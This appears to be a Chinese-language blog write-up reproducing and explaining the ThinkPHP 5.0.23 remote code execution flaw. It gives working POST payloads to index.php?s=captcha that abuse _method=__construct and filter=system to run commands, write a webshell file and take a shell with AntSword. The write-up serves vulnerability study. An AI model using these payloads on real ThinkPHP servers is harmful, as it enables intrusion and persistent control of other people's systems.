ThinkPHP(5.0.23-rce)任意程式碼執行漏洞復現及原理
漏洞詳情:
攻擊者可向快取檔案內寫入PHP程式碼,導致遠端程式碼執行。根據漏洞利用能得出通過s引數傳遞具體的路由。參考http://blog.nsfocus.net/thinkphp-full-version-rce-vulnerability-analysis/?tdsourcetag=s_pctim_aiomsg梳理出的漏洞流程圖:
可以得到重要是引數為method和filter。value是傳入的陣列值,由server決定。
解析POC:
_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=id
_method=__construct:呼叫構造方法__construct(),可以覆蓋Request類的任意成員變數,這裡修改了filter和server(value)兩個值,同時覆蓋了method。
filter=system:傳遞filter值,覆蓋原有值。
server[REQUEST_METHOD]=id:在呼叫$this→server('REQUEST_METHOD')時指定了鍵值,所以通過傳入server陣列即可。
method=get:這裡是通過check()方法分析$rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];得到。它的返回值由$rules決定,而$rules的值取決於鍵值$method,當我們指定$method為get時,可以正確獲取到路由資訊,從而通過checkRoute()檢查,此時我們通過指定method=get覆蓋$this->method的值即可
大佬的分析太妙了,這樣子之後,我們就可以直接修改filter以及server(value)的值了。將我們需要的值傳遞覆蓋之後,獲取正常的路由資訊,就能返回我們想要的資訊。
漏洞影響版本:
影響 ThinkPHP 版本 5.x < 5.1.31, <= 5.0.23
漏洞利用:
index.php?s=captcha
漏洞復現:
根據POC我們使用hackbar進行測試,可以執行,後面嘗試獲取phpinfo。
將post值改為:_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1。
第一步中可以執行system命令,嘗試echo寫入是否可以執行。
將post值改為:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo 1
可以執行echo,後面嘗試寫入一句話木馬。
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '' > 1.php
執行之後頁面無回現,嘗試呼叫ls命令。
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
寫入成功,上蟻劍嘗試。
拿到Shell,復現完成。
POC回看:
使用hackbar,
url:/index.php?s=captcha
post:_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=id